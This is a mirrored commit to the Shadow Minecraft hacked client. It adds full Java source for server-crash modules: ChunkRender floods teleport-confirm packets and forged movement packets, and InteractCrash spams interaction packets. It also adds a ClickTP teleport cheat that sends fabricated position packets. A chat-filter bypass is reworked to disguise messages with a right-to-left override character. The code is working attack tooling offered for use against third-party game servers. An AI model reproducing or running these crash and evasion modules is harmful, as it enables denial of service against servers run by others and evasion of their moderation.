mirror of
https://github.com/Miasmusa/Shadow.git
synced 2024-11-14 19:04:54 -05:00
im tired
This commit is contained in:
parent
aadc7e15cb
commit
99ea9a965c
5 changed files with 427 additions and 1 deletions
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@ -21,6 +21,8 @@ import net.shadow.client.feature.module.impl.combat.Velocity;
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import net.shadow.client.feature.module.impl.crash.AnimationCrash;
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import net.shadow.client.feature.module.impl.crash.ArmorStandCrash;
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import net.shadow.client.feature.module.impl.crash.BookInflator;
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import net.shadow.client.feature.module.impl.crash.ChunkRender;
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import net.shadow.client.feature.module.impl.crash.InteractCrash;
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import net.shadow.client.feature.module.impl.crash.LecternCrash;
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import net.shadow.client.feature.module.impl.crash.LoominaCrash;
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import net.shadow.client.feature.module.impl.crash.MinehutCrash;
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@ -65,6 +67,7 @@ import net.shadow.client.feature.module.impl.movement.Blink;
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import net.shadow.client.feature.module.impl.movement.BlocksmcFlight;
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import net.shadow.client.feature.module.impl.movement.BoatPhase;
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import net.shadow.client.feature.module.impl.movement.Boost;
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import net.shadow.client.feature.module.impl.movement.ClickTP;
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import net.shadow.client.feature.module.impl.movement.EdgeJump;
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import net.shadow.client.feature.module.impl.movement.EdgeSneak;
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import net.shadow.client.feature.module.impl.movement.EntityFly;
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@ -294,6 +297,9 @@ public class ModuleRegistry {
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vanillaModules.add(new Speed());
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vanillaModules.add(new BoatFling());
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vanillaModules.add(new FilterBypass());
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vanillaModules.add(new InteractCrash());
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vanillaModules.add(new ChunkRender());
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vanillaModules.add(new ClickTP());
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rebuildSharedModuleList();
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}
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@ -0,0 +1,132 @@
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/*
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* Copyright (c) Shadow client, 0x150, Saturn5VFive 2022. All rights reserved.
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*/
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package net.shadow.client.feature.module.impl.crash;
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import net.minecraft.client.util.math.MatrixStack;
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import net.shadow.client.feature.config.DoubleSetting;
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import net.shadow.client.feature.module.Module;
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import net.shadow.client.feature.module.ModuleType;
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import net.shadow.client.helper.event.EventListener;
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import net.shadow.client.helper.event.EventType;
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import net.shadow.client.helper.event.Events;
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import net.shadow.client.helper.event.events.PacketEvent;
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import net.shadow.client.helper.util.Utils;
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import java.util.Random;
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import net.minecraft.client.network.ClientPlayerEntity;
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import net.minecraft.network.Packet;
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import net.minecraft.network.packet.c2s.play.PlayerMoveC2SPacket;
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import net.minecraft.network.packet.c2s.play.TeleportConfirmC2SPacket;
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import net.minecraft.network.packet.s2c.play.PlayerPositionLookS2CPacket;
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import net.minecraft.util.math.Vec3d;
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import net.minecraft.world.World;
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public class ChunkRender extends Module {
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static boolean shouldfly;
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static int ppls;
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static int ticks;
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final DoubleSetting velocity = this.config.create(new DoubleSetting.Builder(7).min(1).max(10).name("Velocity").description("How fast to move").get());
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final DoubleSetting timer = this.config.create(new DoubleSetting.Builder(25).min(20).max(200).name("Timer").description("Timer boost speed").get());
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final DoubleSetting lockat = this.config.create(new DoubleSetting.Builder(200).min(20).max(500).name("LockAT").description("What height to start boosting at").get());
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boolean capture = true;
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public ChunkRender() {
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super("ChunkRender", "render chunks to crash the server", ModuleType.CRASH);
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Events.registerEventHandlerClass(this);
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}
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@Override
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public void tick() {
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Utils.setClientTps(timer.getValue().floatValue());
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ClientPlayerEntity player = client.player;
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ticks++;
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client.player.setSprinting(true);
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Vec3d forward = Vec3d.fromPolar(0, player.getYaw()).normalize();
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if (client.player.getY() < lockat.getValue()) {
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player.setVelocity(0, 0.3, 0);
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} else {
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if (shouldfly) {
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client.options.forwardKey.setPressed(true);
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player.setVelocity(forward.x * velocity.getValue(), 0, forward.z * velocity.getValue());
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} else {
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client.options.forwardKey.setPressed(true);
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}
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}
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if (ticks % 5 == 0) {
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client.player.networkHandler.sendPacket(new TeleportConfirmC2SPacket(ticks));
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}
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if (ticks % 200 == 0) {
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ppls = 0;
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}
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}
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@Override
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public void enable() {
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}
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@Override
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public void disable() {
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Utils.setClientTps(20F);
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}
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@Override
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public String getContext() {
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return null;
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}
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@Override
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public void onWorldRender(MatrixStack matrices) {
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}
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@EventListener(type=EventType.PACKET_SEND)
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void onSentPacket(PacketEvent event){
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if(!this.isEnabled()) return;
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if(!capture) return;
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if (!(event.getPacket() instanceof PlayerMoveC2SPacket packet))
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return;
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if (!(packet instanceof PlayerMoveC2SPacket.PositionAndOnGround || packet instanceof PlayerMoveC2SPacket.Full))
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return;
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if (client.player.input == null) {
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event.setCancelled(true);
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return;
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}
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event.setCancelled(true);
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double x = packet.getX(0);
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double y = packet.getY(0);
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double z = packet.getZ(0);
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Packet<?> newPacket;
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if (packet instanceof PlayerMoveC2SPacket.PositionAndOnGround)
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newPacket = new PlayerMoveC2SPacket.PositionAndOnGround(x, y + randomboolnum(), z, true);
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else
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newPacket = new PlayerMoveC2SPacket.Full(x, y + randomboolnum(), z, packet.getYaw(0),
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packet.getPitch(0), true);
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capture = false;
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client.player.networkHandler.getConnection().send(newPacket);
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capture = true;
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}
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@Override
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public void onHudRender() {
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}
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private double randomboolnum() {
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if (new Random().nextBoolean()) {
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return Math.random() * 1.5;
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} else {
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return Math.random() * -1.5;
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}
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}
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}
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@ -0,0 +1,88 @@
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/*
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* Copyright (c) Shadow client, 0x150, Saturn5VFive 2022. All rights reserved.
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*/
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package net.shadow.client.feature.module.impl.crash;
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import net.minecraft.client.util.math.MatrixStack;
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import net.shadow.client.feature.config.DoubleSetting;
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import net.shadow.client.feature.config.EnumSetting;
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import net.shadow.client.feature.module.Module;
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import net.shadow.client.feature.module.ModuleType;
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import net.minecraft.entity.Entity;
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import net.minecraft.network.packet.c2s.play.PlayerInteractBlockC2SPacket;
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import net.minecraft.network.packet.c2s.play.PlayerInteractEntityC2SPacket;
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import net.minecraft.network.packet.c2s.play.PlayerInteractItemC2SPacket;
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import net.minecraft.util.Hand;
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import net.minecraft.util.hit.BlockHitResult;
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import net.minecraft.util.hit.EntityHitResult;
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public class InteractCrash extends Module {
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final EnumSetting<Mode> mode = this.config.create(new EnumSetting.Builder<>(Mode.Block).name("Mode").description("How to interact").get());
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final DoubleSetting repeat = this.config.create(new DoubleSetting.Builder(5).min(1).max(100).name("Power").description("How much power to attack with").get());
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public InteractCrash() {
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super("InteractCrash", "crash by using many interactions", ModuleType.CRASH);
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}
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@Override
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public void tick() {
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switch(mode.getValue()){
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case Block -> {
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BlockHitResult bhr = (BlockHitResult) client.crosshairTarget;
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if (client.world.getBlockState(bhr.getBlockPos()).isAir()) return;
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for (int i = 0; i < repeat.getValue(); i++) {
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client.player.networkHandler.sendPacket(new PlayerInteractBlockC2SPacket(Hand.MAIN_HAND, bhr));
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}
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}
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case Item -> {
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for (int i = 0; i < repeat.getValue(); i++) {
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client.player.networkHandler.sendPacket(new PlayerInteractItemC2SPacket(Hand.MAIN_HAND));
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}
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}
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case Entity -> {
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Entity target;
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if (!(client.crosshairTarget instanceof EntityHitResult)) {
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target = null;
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return;
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}
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target = ((EntityHitResult) client.crosshairTarget).getEntity();
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for (int i = 0; i < repeat.getValue(); i++) {
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client.player.networkHandler.sendPacket(PlayerInteractEntityC2SPacket.interact(target, false, Hand.MAIN_HAND));
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}
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}
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}
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}
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@Override
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public void enable() {
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}
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@Override
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public void disable() {
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}
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@Override
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public String getContext() {
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return null;
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}
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@Override
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public void onWorldRender(MatrixStack matrices) {
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}
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@Override
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public void onHudRender() {
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}
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public enum Mode {
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Block,
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Item,
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Entity
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}
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}
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@ -5,13 +5,21 @@
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package net.shadow.client.feature.module.impl.exploit;
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import net.minecraft.client.util.math.MatrixStack;
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import net.minecraft.network.packet.c2s.play.ChatMessageC2SPacket;
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import net.shadow.client.feature.module.Module;
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import net.shadow.client.feature.module.ModuleType;
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import net.shadow.client.helper.event.EventListener;
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import net.shadow.client.helper.event.EventType;
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import net.shadow.client.helper.event.Events;
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import net.shadow.client.helper.event.events.PacketEvent;
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public class FilterBypass extends Module {
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boolean blockPackets = true;
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public FilterBypass() {
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super("FilterBypass", "bypass the chat filter", ModuleType.MISC);
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super("FilterBypass", "bypass the chat filter", ModuleType.EXPLOIT);
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Events.registerEventHandlerClass(this);
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}
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@Override
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@ -32,6 +40,25 @@ public class FilterBypass extends Module {
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return null;
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}
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@EventListener(type=EventType.PACKET_RECEIVE)
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void onRecievePacket(PacketEvent event){
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if(!this.isEnabled())return;
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if(!blockPackets) return;
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if(event.getPacket() instanceof ChatMessageC2SPacket packet){
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event.setCancelled(true);
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String message = packet.getChatMessage();
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if (message.startsWith("/") || message.startsWith(">")) {
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return;
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}
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StringBuilder rvmsg = new StringBuilder(message).reverse();
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String msgout = rvmsg.toString();
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String msgformatted = "\u202E " + rvmsg;
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blockPackets = false;
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client.player.networkHandler.sendPacket(new ChatMessageC2SPacket(msgformatted));
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blockPackets = true;
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}
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}
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@Override
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public void onWorldRender(MatrixStack matrices) {
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@ -0,0 +1,173 @@
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/*
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* Copyright (c) Shadow client, 0x150, Saturn5VFive 2022. All rights reserved.
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*/
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package net.shadow.client.feature.module.impl.movement;
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import net.minecraft.client.util.math.MatrixStack;
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import net.shadow.client.ShadowMain;
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import net.shadow.client.feature.config.BooleanSetting;
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import net.shadow.client.feature.config.EnumSetting;
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import net.shadow.client.feature.module.Module;
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import net.shadow.client.feature.module.ModuleType;
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import net.shadow.client.helper.event.EventListener;
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import net.shadow.client.helper.event.EventType;
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import net.shadow.client.helper.event.Events;
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import net.shadow.client.helper.event.events.MouseEvent;
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import net.shadow.client.helper.render.Renderer;
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import net.shadow.client.helper.util.Utils;
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import net.minecraft.client.network.ClientPlayerEntity;
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import net.minecraft.network.packet.c2s.play.PlayerMoveC2SPacket;
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import net.minecraft.util.hit.BlockHitResult;
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import net.minecraft.util.math.BlockPos;
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import net.minecraft.util.math.Direction;
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import net.minecraft.util.math.Vec3d;
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import java.awt.*;
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public class ClickTP extends Module {
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private static BlockPos targeted = new BlockPos(0, 0, 0);
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final EnumSetting<Mode> mode = this.config.create(new EnumSetting.Builder<>(Mode.Normal).name("Mode").description("The way to teleport").get());
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final BooleanSetting onlyctrl = this.config.create(new BooleanSetting.Builder(false).name("Only Ctrl").description("Only teleport when the control key is pressed").get());
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private static int lengthTo(BlockPos p) {
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Vec3d v = new Vec3d(p.getX(), p.getY(), p.getZ());
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return (int) roundToN(v.distanceTo(client.player.getPos()), 0);
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}
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public static double roundToN(double x, int n) {
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if (n == 0) return Math.floor(x);
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double factor = Math.pow(10, n);
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return Math.round(x * factor) / factor;
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}
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public ClickTP() {
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super("ClickTP", "teleport with click", ModuleType.MISC);
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Events.registerEventHandlerClass(this);
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}
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@Override
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public void tick() {
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BlockHitResult ray = (BlockHitResult) client.player.raycast(200, client.getTickDelta(), true);
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targeted = new BlockPos(ray.getBlockPos());
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}
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@Override
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public void enable() {
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}
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@Override
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public void disable() {
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}
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@Override
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public String getContext() {
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return null;
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}
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@EventListener(type=EventType.MOUSE_EVENT)
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void onMouseEvent(MouseEvent event){
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if (!this.isEnabled()) return;
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if (((MouseEvent) event).getButton() == 1 && ((MouseEvent) event).getAction() == 1) {
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if (ShadowMain.client.currentScreen != null) return;
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BlockHitResult ray = (BlockHitResult) client.player.raycast(200, client.getTickDelta(), true);
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int rd = lengthTo(ray.getBlockPos());
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int raycastdistance = rd / 7;
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BlockHitResult blockHitResult = (BlockHitResult) client.player.raycast(200, client.getTickDelta(), true);
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BlockPos d = new BlockPos(blockHitResult.getBlockPos());
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BlockPos dest = new BlockPos(d.getX() + 0.5, d.getY(), d.getZ() + 0.5);
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dest = dest.offset(Direction.UP, 1);
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if (onlyctrl.getValue() && !client.options.sprintKey.isPressed())
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return;
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switch(mode.getValue()){
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case Normal -> {
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client.player.updatePosition(dest.getX(), dest.getY(), dest.getZ());
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}
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case Split -> {
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client.player.jump();
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ClientPlayerEntity player = client.player;
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Vec3d playerpos = player.getPos();
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double xn = dest.getX() - playerpos.x;
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double yn = dest.getY() - playerpos.y;
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double zn = dest.getZ() - playerpos.z;
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double x = xn / raycastdistance;
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double y = yn / raycastdistance;
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double z = zn / raycastdistance;
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for (int i = 0; i < raycastdistance; i++) {
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client.player.networkHandler.sendPacket(new PlayerMoveC2SPacket.PositionAndOnGround(player.getX() + x, player.getY() + y, player.getZ() + z, true));
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}
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player.updatePosition(dest.getX(), dest.getY(), dest.getZ());
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}
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case Tween -> {
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new Thread(() -> {
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int rdd = lengthTo(ray.getBlockPos());
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BlockPos destt = new BlockPos(blockHitResult.getBlockPos());
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client.player.jump();
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ClientPlayerEntity player = client.player;
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Vec3d playerpos = player.getPos();
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double xn = destt.getX() - playerpos.x;
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double yn = destt.getY() - playerpos.y;
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double zn = destt.getZ() - playerpos.z;
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double x = xn / rdd;
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double y = yn / rdd;
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double z = zn / rdd;
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for (int i = 0; i < rdd; i++) {
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client.player.updatePosition(player.getX() + x, player.getY() + y, player.getZ() + z);
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try {
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Thread.sleep(7);
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} catch (Exception ignored) {
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}
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client.player.setVelocity(0, 0, 0);
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}
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}).start();
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}
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case Experimental -> {
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new Thread(() -> {
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int rdd = lengthTo(ray.getBlockPos());
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BlockPos destt = new BlockPos(blockHitResult.getBlockPos());
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client.player.jump();
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ClientPlayerEntity player = client.player;
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Vec3d playerpos = player.getPos();
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double xn = destt.getX() - playerpos.x;
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double yn = destt.getY() - playerpos.y;
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double zn = destt.getZ() - playerpos.z;
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double x = xn / rdd;
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double y = yn / rdd;
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double z = zn / rdd;
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for (int i = 0; i < rdd; i++) {
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client.player.networkHandler.sendPacket(new PlayerMoveC2SPacket.PositionAndOnGround(player.getX() + x, player.getY() + y, player.getZ() + z, true));
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try {
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Thread.sleep(10);
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} catch (Exception ignored) {
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}
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client.player.setVelocity(0, 0, 0);
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}
|
||||
}).start();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onWorldRender(MatrixStack matrices) {
|
||||
Vec3d vp = new Vec3d(targeted.getX(), targeted.getY(), targeted.getZ());
|
||||
Renderer.R3D.renderFilled(vp, new Vec3d(1, 1, 1), Utils.getCurrentRGB(), matrices);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onHudRender() {
|
||||
|
||||
}
|
||||
|
||||
public enum Mode {
|
||||
Split,
|
||||
Normal,
|
||||
Tween,
|
||||
Experimental
|
||||
}
|
||||
}
|
Loading…
Reference in a new issue